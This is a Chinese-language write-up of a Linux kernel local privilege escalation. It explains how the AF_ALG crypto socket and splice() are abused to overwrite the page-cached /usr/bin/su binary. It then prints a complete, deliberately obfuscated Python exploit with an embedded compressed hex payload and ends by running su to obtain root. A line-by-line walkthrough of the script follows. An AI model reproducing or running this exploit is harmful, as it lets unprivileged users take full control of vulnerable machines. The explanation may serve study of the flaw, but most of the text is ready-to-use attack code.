系统不会持续直接从缓慢的物理硬盘获取文件——这会浪费大量时间——Linux 系统会在 RAM 中创建文件的临时副本,称为页缓存(Page Cache)。这使得系统几乎可以在 RAM 内瞬时执行和读取文件。
这一过程依赖两个关键函数:
AF_ALG: 负责处理内核中文件和数据的加密操作。
splice(): 负责以极快速度将数据直接从一处内存位置移动到另一处(零拷贝,Zero-Copy)。
该漏洞利用会操纵这两个函数。当系统尝试在内存中处理并执行文件时,它会遇到注入的载荷代码。由于 Linux 内核本身负责内存管理,它绝不会怀疑此处发生了逻辑缺陷或非法修改。
总结: 该漏洞会篡改内存,绕过目标文件的加密/校验。随后覆盖内存中特定的 4 字节指令,使任何非特权用户都能立即获得 Root 访问权限——整个操作直接由内核执行。
Python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
e = zlib.decompress(d("78daab77..."))
这一行解压压缩后的十六进制载荷。你可以将此载荷视为旨在授予 Root 权限的注入向量。它将十六进制数据转换为原始字节,以便写入 RAM,绕过密码认证。
a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)
该脚本以只读方式打开 /usr/bin/su 二进制文件(负责用户权限切换的可执行文件)。它建立一个 AF_ALG 套接字(AF_ALG ID = 38),并使用 splice() 系统调用将 /usr/bin/su 的内存页直接流式传输到内核的加密引擎。
内核内存覆盖:
由于内核加密模块(algif_aead)存在缺陷,内核在操作过程中被骗。它不会将处理后的输出写入常规临时缓冲区,而是将载荷直接写入存储在 RAM(页缓存)中的 /usr/bin/su 二进制页。
while i < len(e): c(f, i, e[i:i+4]); i += 4 和 g.system("su")
该脚本运行一个循环,每次将载荷 4 字节写入连续的内存偏移量。循环完成对 RAM 中指令的修补后,执行 su。由于内核现在执行内存中被修改的代码,密码检查被绕过,任何运行该命令的人都会被授予 Root 访问权限